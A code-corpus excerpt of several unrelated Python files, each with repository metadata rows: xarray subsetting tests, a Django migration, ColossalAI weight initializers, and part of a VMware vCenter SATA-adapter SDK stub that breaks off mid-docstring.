self.assertTrue(1 == actual.sel(method='nearest', **{'lon': 1.2, 'lat': -1.4}))
# Africa
self.assertTrue(1 == actual.sel(method='nearest', **{'lon': 20.7, 'lat': 6.15}))
def test_generic_not_masked_inverted(self):
"""
Test using a generic Polygon without masking
"""
# Africa
a = str('POLYGON((-10.8984375 35.60371874069731,-19.16015625 '
'23.885837699861995,-20.56640625 17.14079039331665,-18.6328125 '
'7.536764322084079,-10.72265625 0.7031073524364783,10.37109375 '
'0.3515602939922709,10.37109375 -22.268764039073965,22.8515625 '
'-42.29356419217007,37.79296875 -27.21555620902968,49.39453125 '
'-3.5134210456400323,54.4921875 14.093957177836236,18.984375 '
'35.88905007936091,-10.8984375 35.60371874069731))')
# Inverted lat
dataset = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'lat': np.linspace(89.5, -89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360)})
actual = subset.subset_spatial(dataset, a, mask=False)
# Gulf of Guinea
self.assertTrue(1 == actual.sel(method='nearest', **{'lon': 1.2, 'lat': -1.4}))
# Africa
self.assertTrue(1 == actual.sel(method='nearest', **{'lon': 20.7, 'lat': 6.15}))
def test_registered(self):
"""
Test if it runs as an operation registered in the op registry.
"""
reg_op = OP_REGISTRY.get_op(object_to_qualified_name(subset.subset_spatial))
dataset = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'lat': np.linspace(-89.5, 89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360)})
actual = reg_op(ds=dataset, region="-20, -10, 20, 10")
expected = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([20, 40, 6])),
'second': (['lat', 'lon', 'time'], np.ones([20, 40, 6])),
'lat': np.linspace(-9.5, 9.5, 20),
'lon': np.linspace(-19.5, 19.5, 40)})
assert_dataset_equal(expected, actual)
def test_antimeridian_simple(self):
dataset = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'lat': np.linspace(-89.5, 89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360)})
# With masking
actual = subset.subset_spatial(dataset, '170, -5, -170, 5', mask=True)
masked = actual.sel(method='nearest', **{'lon': 0, 'lat': 0})
self.assertTrue(np.isnan(masked['first']).all())
# With dropping
actual = subset.subset_spatial(dataset, '170, -5, -170, 5', mask=False)
self.assertEqual(20, len(actual.lon))
def test_antimeridian_simple_inverted(self):
# Inverted lat
dataset = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'lat': np.linspace(89.5, -89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360)})
# With masking
actual = subset.subset_spatial(dataset, '170, -5, -170, 5', mask=True)
masked = actual.sel(method='nearest', **{'lon': 0, 'lat': 0})
self.assertTrue(np.isnan(masked['first']).all())
# With dropping
actual = subset.subset_spatial(dataset, '170, -5, -170, 5', mask=False)
self.assertEqual(20, len(actual.lon))
def test_antimeridian_arbitrary(self):
antimeridian_pol = str('POLYGON(('
'162.0703125 39.639537564366705,'
'-155.390625 39.774769485295465,'
'-155.56640625 12.726084296948184,'
'162.24609375 12.897489183755905,'
'161.89453125 26.745610382199025,'
'162.0703125 39.639537564366705'
'))')
dataset = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'lat': np.linspace(-89.5, 89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360)})
with self.assertRaises(Exception) as cm:
subset.subset_spatial(dataset, antimeridian_pol)
self.assertEqual(str(cm.exception),
"Spatial subsets crossing the anti-meridian are currently implemented for simple, "
"rectangular polygons only.")
def test_antimeridian_arbitrary_inverted(self):
antimeridian_pol = str('POLYGON(('
'162.0703125 39.639537564366705,'
'-155.390625 39.774769485295465,'
'-155.56640625 12.726084296948184,'
'162.24609375 12.897489183755905,'
'161.89453125 26.745610382199025,'
'162.0703125 39.639537564366705'
'))')
# Inverted lat
dataset = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'lat': np.linspace(89.5, -89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360)})
with self.assertRaises(Exception) as cm:
subset.subset_spatial(dataset, antimeridian_pol)
self.assertEqual(str(cm.exception),
"Spatial subsets crossing the anti-meridian are currently implemented for simple, "
"rectangular polygons only.")
class TestSubsetTemporal(TestCase):
def test_subset_temporal(self):
# Test general functionality
dataset = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'lat': np.linspace(-89.5, 89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360),
'time': [datetime(2000, x, 1) for x in range(1, 7)]})
actual = subset.subset_temporal(dataset, '2000-01-10, 2000-04-01')
expected = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 3])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 3])),
'lat': np.linspace(-89.5, 89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360),
'time': [datetime(2000, x, 1) for x in range(2, 5)]})
assert_dataset_equal(expected, actual)
def test_invalid_dtype(self):
# Test passing in a MJD dataset
dataset = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'lat': np.linspace(-89.5, 89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360),
'time': [2451544.5,
2451575.5,
2451604.5,
2451635.5,
2451665.5,
2451696.5]})
with self.assertRaises(ValueError) as err:
subset.subset_temporal(dataset, '2000-01-10, 2000-04-01')
self.assertIn('type datetime', str(err.exception))
def test_registered(self):
"""
Test if it runs as an operation registered in the op registry.
"""
reg_op = OP_REGISTRY.get_op(object_to_qualified_name(subset.subset_temporal))
dataset = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'lat': np.linspace(-89.5, 89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360),
'time': [datetime(2000, x, 1) for x in range(1, 7)]})
actual = reg_op(ds=dataset, time_range='2000-01-10, 2000-04-01')
expected = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 3])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 3])),
'lat': np.linspace(-89.5, 89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360),
'time': [datetime(2000, x, 1) for x in range(2, 5)]})
assert_dataset_equal(expected, actual)
class TestSubsetTemporalIndex(TestCase):
def test_subset_temporal_index(self):
# Test general functionality
dataset = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'lat': np.linspace(-89.5, 89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360),
'time': ['2000-01-01',
'2000-02-01',
'2000-03-01',
'2000-04-01',
'2000-05-01',
'2000-06-01']})
actual = subset.subset_temporal_index(dataset, 2, 4)
expected = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 3])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 3])),
'lat': np.linspace(-89.5, 89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360),
'time': ['2000-03-01', '2000-04-01', '2000-05-01']})
assert_dataset_equal(expected, actual)
def test_registered(self):
"""
Test if it runs as an operation registered in the op registry.
"""
reg_op = OP_REGISTRY.get_op(object_to_qualified_name(subset.subset_temporal_index))
dataset = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 6])),
'lat': np.linspace(-89.5, 89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360),
'time': ['2000-01-01',
'2000-02-01',
'2000-03-01',
'2000-04-01',
'2000-05-01',
'2000-06-01']})
actual = reg_op(ds=dataset, time_ind_min=2, time_ind_max=4)
expected = xr.Dataset({
'first': (['lat', 'lon', 'time'], np.ones([180, 360, 3])),
'second': (['lat', 'lon', 'time'], np.ones([180, 360, 3])),
'lat': np.linspace(-89.5, 89.5, 180),
'lon': np.linspace(-179.5, 179.5, 360),
'time': ['2000-03-01', '2000-04-01', '2000-05-01']})
assert_dataset_equal(expected, actual)
| 46.585434 | 108 | 0.522759 | 2,000 | 16,631 | 4.294 | 0.112 | 0.032138 | 0.053563 | 0.058687 | 0.899977 | 0.883558 | 0.877271 | 0.87436 | 0.860154 | 0.860154 | 0 | 0.239312 | 0.293969 | 16,631 | 356 | 109 | 46.716292 | 0.49208 | 0.057844 | 0 | 0.822642 | 0 | 0 | 0.237101 | 0.092559 | 0 | 0 | 0 | 0 | 0.101887 | 1 | 0.064151 | false | 0 | 0.026415 | 0 | 0.101887 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
62feaa50dc13498fa3d9aafd9b27f27bc266d11e | 2,793 | py | Python | good_spot/places/migrations/0062_auto_20180330_0714.py | jasmine92122/NightClubBackend | 7f59129b78baaba0e0c25de2b493033b858f1b00 | [
"MIT"
] | null | null | null | good_spot/places/migrations/0062_auto_20180330_0714.py | jasmine92122/NightClubBackend | 7f59129b78baaba0e0c25de2b493033b858f1b00 | [
"MIT"
] | 5 | 2020-02-12T03:13:11.000Z | 2022-01-13T01:41:14.000Z | good_spot/places/migrations/0062_auto_20180330_0714.py | jasmine92122/NightClubBackend | 7f59129b78baaba0e0c25de2b493033b858f1b00 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11.7 on 2018-03-30 07:14
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('places', '0061_auto_20180330_0657'),
]
operations = [
migrations.AddField(
model_name='place',
name='address_en',
field=models.CharField(blank=True, max_length=255, null=True, verbose_name='Place address'),
),
migrations.AddField(
model_name='place',
name='address_fr',
field=models.CharField(blank=True, max_length=255, null=True, verbose_name='Place address'),
),
migrations.AddField(
model_name='place',
name='address_ru',
field=models.CharField(blank=True, max_length=255, null=True, verbose_name='Place address'),
),
migrations.AddField(
model_name='place',
name='address_uk',
field=models.CharField(blank=True, max_length=255, null=True, verbose_name='Place address'),
),
migrations.AddField(
model_name='place',
name='name_en',
field=models.CharField(blank=True, max_length=255, null=True, verbose_name='Place name'),
),
migrations.AddField(
model_name='place',
name='name_fr',
field=models.CharField(blank=True, max_length=255, null=True, verbose_name='Place name'),
),
migrations.AddField(
model_name='place',
name='name_ru',
field=models.CharField(blank=True, max_length=255, null=True, verbose_name='Place name'),
),
migrations.AddField(
model_name='place',
name='name_uk',
field=models.CharField(blank=True, max_length=255, null=True, verbose_name='Place name'),
),
migrations.AddField(
model_name='place',
name='special_event_en',
field=models.CharField(blank=True, max_length=255, null=True, verbose_name='Special event'),
),
migrations.AddField(
model_name='place',
name='special_event_fr',
field=models.CharField(blank=True, max_length=255, null=True, verbose_name='Special event'),
),
migrations.AddField(
model_name='place',
name='special_event_ru',
field=models.CharField(blank=True, max_length=255, null=True, verbose_name='Special event'),
),
migrations.AddField(
model_name='place',
name='special_event_uk',
field=models.CharField(blank=True, max_length=255, null=True, verbose_name='Special event'),
),
]
| 36.75 | 104 | 0.591121 | 305 | 2,793 | 5.216393 | 0.170492 | 0.113136 | 0.130735 | 0.203646 | 0.87995 | 0.87995 | 0.87995 | 0.850409 | 0.842866 | 0.842866 | 0 | 0.034535 | 0.28464 | 2,793 | 75 | 105 | 37.24 | 0.761762 | 0.024347 | 0 | 0.705882 | 1 | 0 | 0.134093 | 0.00845 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.029412 | 0 | 0.073529 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
1a1164290f0e753d2b8a4d66cc8d47883ffac3d5 | 9,543 | py | Python | colossalai/nn/init.py | RichardoLuo/ColossalAI | 797a9dc5a9e801d7499b8667c3ef039a38aa15ba | [
"Apache-2.0"
] | 1,630 | 2021-10-30T01:00:27.000Z | 2022-03-31T23:02:41.000Z | colossalai/nn/init.py | RichardoLuo/ColossalAI | 797a9dc5a9e801d7499b8667c3ef039a38aa15ba | [
"Apache-2.0"
] | 166 | 2021-10-30T01:03:01.000Z | 2022-03-31T14:19:07.000Z | colossalai/nn/init.py | RichardoLuo/ColossalAI | 797a9dc5a9e801d7499b8667c3ef039a38aa15ba | [
"Apache-2.0"
] | 253 | 2021-10-30T06:10:29.000Z | 2022-03-31T13:30:06.000Z | import math
import warnings
from torch import Tensor
import torch.nn as nn
def zeros_():
"""Return the initializer filling the input Tensor with the scalar zeros"""
def initializer(tensor: Tensor, fan_in: int = None, fan_out: int = None):
return nn.init.zeros_(tensor)
return initializer
def ones_():
"""Return the initializer filling the input Tensor with the scalar ones"""
def initializer(tensor: Tensor, fan_in: int = None, fan_out: int = None):
return nn.init.ones_(tensor)
return initializer
def uniform_(a: float = 0., b: float = 1.):
r"""Return the initializer filling the input Tensor with values drawn from the uniform
distribution :math:`\mathcal{U}(a, b)`.
Args:
a (float): the lower bound of the uniform distribution. Defaults 0.0.
b (float): the upper bound of the uniform distribution. Defaults 1.0.
"""
def initializer(tensor: Tensor, fan_in: int = None, fan_out: int = None):
return nn.init.uniform_(tensor, a, b)
return initializer
def normal_(mean: float = 0., std: float = 1.):
r"""Return the initializer filling the input Tensor with values drawn from the normal distribution
.. math::
\mathcal{N}(\text{mean}, \text{std}^2)
Args:
mean (float): the mean of the normal distribution. Defaults 0.0.
std (float): the standard deviation of the normal distribution. Defaults 1.0.
"""
def initializer(tensor: Tensor, fan_in: int = None, fan_out: int = None):
return nn.init.normal_(tensor, mean, std)
return initializer
def trunc_normal_(mean: float = 0., std: float = 1., a: float = -2., b: float = 2.):
r"""Return the initializer filling the input Tensor with values drawn from a truncated
normal distribution. The values are effectively drawn from the
normal distribution :math:`\mathcal{N}(\text{mean}, \text{std}^2)`
with values outside :math:`[a, b]` redrawn until they are within
the bounds. The method used for generating the random values works
best when :math:`a \leq \text{mean} \leq b`.
Args:
mean (float): the mean of the normal distribution. Defaults 0.0.
std (float): the standard deviation of the normal distribution. Defaults 1.0.
a (float): the minimum cutoff value. Defaults -2.0.
b (float): the maximum cutoff value. Defaults 2.0.
"""
def initializer(tensor: Tensor, fan_in: int = None, fan_out: int = None):
return nn.init.trunc_normal_(tensor, mean, std, a, b)
return initializer
def kaiming_uniform_(a=0, mode='fan_in', nonlinearity='leaky_relu'):
r"""Return the initializer filling the input `Tensor` with values according to the method
described in `Delving deep into rectifiers: Surpassing human-level
performance on ImageNet classification` - He, K. et al. (2015), using a
uniform distribution. The resulting tensor will have values sampled from
:math:`\mathcal{U}(-\text{bound}, \text{bound})` where
.. math::
\text{bound} = \text{gain} \times \sqrt{\frac{3}{\text{fan_mode}}}
Also known as 'He initialization'.
Args:
a (int): the negative slope of the rectifier used after this layer (only used with ``'leaky_relu'``).
mode (str, optional): either ``'fan_in'`` (default) or ``'fan_out'``. Choosing ``'fan_in'``
preserves the magnitude of the variance of the weights in the
forward pass. Choosing ``'fan_out'`` preserves the magnitudes in the
backwards pass.
nonlinearity (str, optional): the non-linear function (`nn.functional` name),
recommended to use only with ``'relu'`` or ``'leaky_relu'`` (default).
"""
# adapted from torch.nn.init
def initializer(tensor: Tensor, fan_in: int = None, fan_out: int = None):
if 0 in tensor.shape:
warnings.warn("Initializing zero-element tensors is a no-op")
return tensor
if mode == 'fan_in':
assert fan_in is not None, 'Fan_in is not provided.'
fan = fan_in
elif mode == 'fan_out':
assert fan_out is not None, 'Fan_out is not provided.'
fan = fan_out
else:
raise ValueError(f'Invalid initialization mode \'{mode}\'')
std = nn.init.calculate_gain(nonlinearity, a) / math.sqrt(fan)
bound = math.sqrt(3.) * std
return nn.init.uniform_(tensor, -bound, bound)
return initializer
def kaiming_normal_(a=0, mode='fan_in', nonlinearity='leaky_relu'):
r"""Return the initializer filling the input `Tensor` with values according to the method
described in `Delving deep into rectifiers: Surpassing human-level
performance on ImageNet classification` - He, K. et al. (2015), using a
normal distribution. The resulting tensor will have values sampled from
:math:`\mathcal{N}(0, \text{std}^2)` where
.. math::
\text{std} = \frac{\text{gain}}{\sqrt{\text{fan_mode}}}
Also known as 'He initialization'.
Args:
a (int): the negative slope of the rectifier used after this layer (only used with ``'leaky_relu'``).
mode (str, optional): either ``'fan_in'`` (default) or ``'fan_out'``. Choosing ``'fan_in'``
preserves the magnitude of the variance of the weights in the
forward pass. Choosing ``'fan_out'`` preserves the magnitudes in the
backwards pass.
nonlinearity (str, optional): the non-linear function (`nn.functional` name),
recommended to use only with ``'relu'`` or ``'leaky_relu'`` (default).
"""
# adapted from torch.nn.init
def initializer(tensor: Tensor, fan_in: int = None, fan_out: int = None):
if 0 in tensor.shape:
warnings.warn("Initializing zero-element tensors is a no-op")
return tensor
if mode == 'fan_in':
assert fan_in is not None, 'Fan_in is not provided.'
fan = fan_in
elif mode == 'fan_out':
assert fan_out is not None, 'Fan_out is not provided.'
fan = fan_out
else:
raise ValueError(f'Invalid initialization mode \'{mode}\'')
std = nn.init.calculate_gain(nonlinearity, a) / math.sqrt(fan)
return nn.init.normal_(tensor, 0, std)
return initializer
def xavier_uniform_(a: float = math.sqrt(3.), scale: float = 2., gain: float = 1.):
r"""Return the initializer filling the input `Tensor` with values according to the method
described in `Understanding the difficulty of training deep feedforward
neural networks` - Glorot, X. & Bengio, Y. (2010), using a uniform
distribution. The resulting tensor will have values sampled from
:math:`\mathcal{U}(-a, a)` where
.. math::
a = \text{gain} \times \sqrt{\frac{6}{\text{fan_in} + \text{fan_out}}}
Also known as 'Glorot initialization'.
Args:
a (float, optional): an optional scaling factor used to calculate uniform
bounds from standard deviation. Defaults ``math.sqrt(3.)``.
scale (float, optional): an optional scaling factor used to calculate standard deviation. Defaults 2.0.
gain (float, optional): an optional scaling factor. Defaults 1.0.
"""
# adapted from torch.nn.init
def initializer(tensor: Tensor, fan_in: int = None, fan_out: int = None):
assert fan_in is not None, 'Fan_in is not provided.'
fan = fan_in
if fan_out is not None:
fan += fan_out
std = gain * math.sqrt(scale / float(fan))
bound = a * std
return nn.init.uniform_(tensor, -bound, bound)
return initializer
def xavier_normal_(scale: float = 2., gain: float = 1.):
r"""Return the initializer filling the input `Tensor` with values according to the method
described in `Understanding the difficulty of training deep feedforward
neural networks` - Glorot, X. & Bengio, Y. (2010), using a normal
distribution. The resulting tensor will have values sampled from
:math:`\mathcal{N}(0, \text{std}^2)` where
.. math::
\text{std} = \text{gain} \times \sqrt{\frac{2}{\text{fan_in} + \text{fan_out}}}
Also known as 'Glorot initialization'.
Args:
scale (float, optional): an optional scaling factor used to calculate standard deviation. Defaults 2.0.
gain (float, optional): an optional scaling factor. Defaults 1.0.
"""
# adapted from torch.nn.init
def initializer(tensor: Tensor, fan_in: int = None, fan_out: int = None):
assert fan_in is not None, 'Fan_in is not provided.'
fan = fan_in
if fan_out is not None:
fan += fan_out
std = gain * math.sqrt(scale / float(fan))
return nn.init.normal_(tensor, 0., std)
return initializer
def lecun_uniform_():
# adapted from jax.nn.initializers
def initializer(tensor: Tensor, fan_in: int = None, fan_out: int = None):
assert fan_in is not None, 'Fan_in is not provided.'
var = 1.0 / fan_in
bound = math.sqrt(3 * var)
return nn.init.uniform_(tensor, -bound, bound)
return initializer
def lecun_normal_():
# adapted from jax.nn.initializers
def initializer(tensor: Tensor, fan_in: int = None, fan_out: int = None):
assert fan_in is not None, 'Fan_in is not provided.'
std = math.sqrt(1.0 / fan_in)
return nn.init.trunc_normal_(tensor, std=std / .87962566103423978)
return initializer | 39.110656 | 111 | 0.644242 | 1,322 | 9,543 | 4.568079 | 0.13767 | 0.03229 | 0.021527 | 0.019871 | 0.869349 | 0.837721 | 0.821162 | 0.813876 | 0.813876 | 0.805431 | 0 | 0.012797 | 0.246673 | 9,543 | 244 | 112 | 39.110656 | 0.827236 | 0.528136 | 0 | 0.635417 | 0 | 0 | 0.094317 | 0 | 0 | 0 | 0 | 0 | 0.083333 | 1 | 0.229167 | false | 0 | 0.041667 | 0.052083 | 0.520833 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
a7df9e514f30df5efcfbbf1a5fdccac0621430f8 | 104 | py | Python | compute_distance_and_align/__init__.py | alyonavyshnevska/dynamic_programming_levenshtein_distance | e8ecd72ebbee7b3e59977a1a684b5e3ecd9bb930 | [
"MIT"
] | null | null | null | compute_distance_and_align/__init__.py | alyonavyshnevska/dynamic_programming_levenshtein_distance | e8ecd72ebbee7b3e59977a1a684b5e3ecd9bb930 | [
"MIT"
] | null | null | null | compute_distance_and_align/__init__.py | alyonavyshnevska/dynamic_programming_levenshtein_distance | e8ecd72ebbee7b3e59977a1a684b5e3ecd9bb930 | [
"MIT"
] | null | null | null | import compute_distance_and_align.align_strings, compute_distance_and_align.compute_levenshtein_distance | 104 | 104 | 0.951923 | 14 | 104 | 6.428571 | 0.5 | 0.333333 | 0.4 | 0.511111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019231 | 104 | 1 | 104 | 104 | 0.882353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 9 |
c50381e48414b1300cd0c9814dfb074320dabe1f | 58,769 | py | Python | com/vmware/vcenter/vm/hardware/adapter_client.py | adammillerio/vsphere-automation-sdk-python | c07e1be98615201139b26c28db3aa584c4254b66 | [
"MIT"
] | null | null | null | com/vmware/vcenter/vm/hardware/adapter_client.py | adammillerio/vsphere-automation-sdk-python | c07e1be98615201139b26c28db3aa584c4254b66 | [
"MIT"
] | null | null | null | com/vmware/vcenter/vm/hardware/adapter_client.py | adammillerio/vsphere-automation-sdk-python | c07e1be98615201139b26c28db3aa584c4254b66 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
#---------------------------------------------------------------------------
# Copyright 2020 VMware, Inc. All rights reserved.
# AUTO GENERATED FILE -- DO NOT MODIFY!
#
# vAPI stub file for package com.vmware.vcenter.vm.hardware.adapter.
#---------------------------------------------------------------------------
"""
The ``com.vmware.vcenter.vm.hardware.adapter_client`` module provides classes
for managing the configuration and state of the virtual adapters belonging to a
virtual machine. This includes methods for reading and manipulating the
conifguration of USB adapters and host bus adapters.
Note that classes for adapters with no configurable properties or runtime
state, such as IDE and PCI adapters, are omitted.
"""
__author__ = 'VMware, Inc.'
__docformat__ = 'restructuredtext en'
import sys
from vmware.vapi.bindings import type
from vmware.vapi.bindings.converter import TypeConverter
from vmware.vapi.bindings.enum import Enum
from vmware.vapi.bindings.error import VapiError
from vmware.vapi.bindings.struct import VapiStruct
from vmware.vapi.bindings.stub import (
ApiInterfaceStub, StubFactoryBase, VapiInterface)
from vmware.vapi.bindings.common import raise_core_exception
from vmware.vapi.data.validator import (UnionValidator, HasFieldsOfValidator)
from vmware.vapi.exception import CoreException
from vmware.vapi.lib.constants import TaskType
from vmware.vapi.lib.rest import OperationRestMetadata
class Sata(VapiInterface):
"""
The ``Sata`` class provides methods for configuring the virtual SATA
adapters of a virtual machine.
"""
RESOURCE_TYPE = "com.vmware.vcenter.vm.hardware.SataAdapter"
"""
Resource type for the virtual SATA adapter device.
"""
_VAPI_SERVICE_ID = 'com.vmware.vcenter.vm.hardware.adapter.sata'
"""
Identifier of the service in canonical form.
"""
def __init__(self, config):
"""
:type config: :class:`vmware.vapi.bindings.stub.StubConfiguration`
:param config: Configuration to be used for creating the stub.
"""
VapiInterface.__init__(self, config, _SataStub)
self._VAPI_OPERATION_IDS = {}
class Type(Enum):
"""
The ``Sata.Type`` class defines the valid emulation types for a virtual
SATA adapter.
.. note::
This class represents an enumerated type in the interface language
definition. The class contains class attributes which represent the
values in the current version of the enumerated type. Newer versions of
the enumerated type may contain new values. To use new values of the
enumerated type in communication with a server that supports the newer
version of the API, you instantiate this class. See :ref:`enumerated
type description page <enumeration_description>`.
"""
AHCI = None
"""
AHCI host bus adapter.
"""
def __init__(self, string):
"""
:type string: :class:`str`
:param string: String value for the :class:`Type` instance.
"""
Enum.__init__(string)
Type._set_values([
Type('AHCI'),
])
Type._set_binding_type(type.EnumType(
'com.vmware.vcenter.vm.hardware.adapter.sata.type',
Type))
class Info(VapiStruct):
"""
The ``Sata.Info`` class contains information about a virtual SATA adapter.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
label=None,
type=None,
bus=None,
pci_slot_number=None,
):
"""
:type label: :class:`str`
:param label: Device label.
:type type: :class:`Sata.Type`
:param type: Adapter type.
:type bus: :class:`long`
:param bus: SATA bus number.
:type pci_slot_number: :class:`long` or ``None``
:param pci_slot_number: Address of the SATA adapter on the PCI bus.
May be None if the virtual machine has never been powered on since
the adapter was created.
"""
self.label = label
self.type = type
self.bus = bus
self.pci_slot_number = pci_slot_number
VapiStruct.__init__(self)
Info._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.adapter.sata.info', {
'label': type.StringType(),
'type': type.ReferenceType(__name__, 'Sata.Type'),
'bus': type.IntegerType(),
'pci_slot_number': type.OptionalType(type.IntegerType()),
},
Info,
False,
None))
class CreateSpec(VapiStruct):
"""
The ``Sata.CreateSpec`` class provides a specification for the
configuration of a newly-created virtual SATA adapter.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
type=None,
bus=None,
pci_slot_number=None,
):
"""
:type type: :class:`Sata.Type` or ``None``
:param type: Adapter type.
If None, a guest-specific default value will be used.
:type bus: :class:`long` or ``None``
:param bus: SATA bus number.
If None, the server will choose an available bus number; if none is
available, the request will fail.
:type pci_slot_number: :class:`long` or ``None``
:param pci_slot_number: Address of the SATA adapter on the PCI bus.
If None, the server will choose an available address when the
virtual machine is powered on.
"""
self.type = type
self.bus = bus
self.pci_slot_number = pci_slot_number
VapiStruct.__init__(self)
CreateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.adapter.sata.create_spec', {
'type': type.OptionalType(type.ReferenceType(__name__, 'Sata.Type')),
'bus': type.OptionalType(type.IntegerType()),
'pci_slot_number': type.OptionalType(type.IntegerType()),
},
CreateSpec,
False,
None))
class Summary(VapiStruct):
"""
The ``Sata.Summary`` class contains commonly used information about a
Virtual SATA adapter.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
adapter=None,
):
"""
:type adapter: :class:`str`
:param adapter: Identifier of the virtual SATA adapter.
When clients pass a value of this class as a parameter, the
attribute must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.SataAdapter``. When methods return
a value of this class as a return value, the attribute will be an
identifier for the resource type:
``com.vmware.vcenter.vm.hardware.SataAdapter``.
"""
self.adapter = adapter
VapiStruct.__init__(self)
Summary._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.adapter.sata.summary', {
'adapter': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.SataAdapter'),
},
Summary,
False,
None))
def list(self,
vm,
):
"""
Returns commonly used information about the virtual SATA adapters
belonging to the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:rtype: :class:`list` of :class:`Sata.Summary`
:return: List of commonly used information about virtual SATA adapters.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('list',
{
'vm': vm,
})
def get(self,
vm,
adapter,
):
"""
Returns information about a virtual SATA adapter.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type adapter: :class:`str`
:param adapter: Virtual SATA adapter identifier.
The parameter must be an identifier for the resource type:
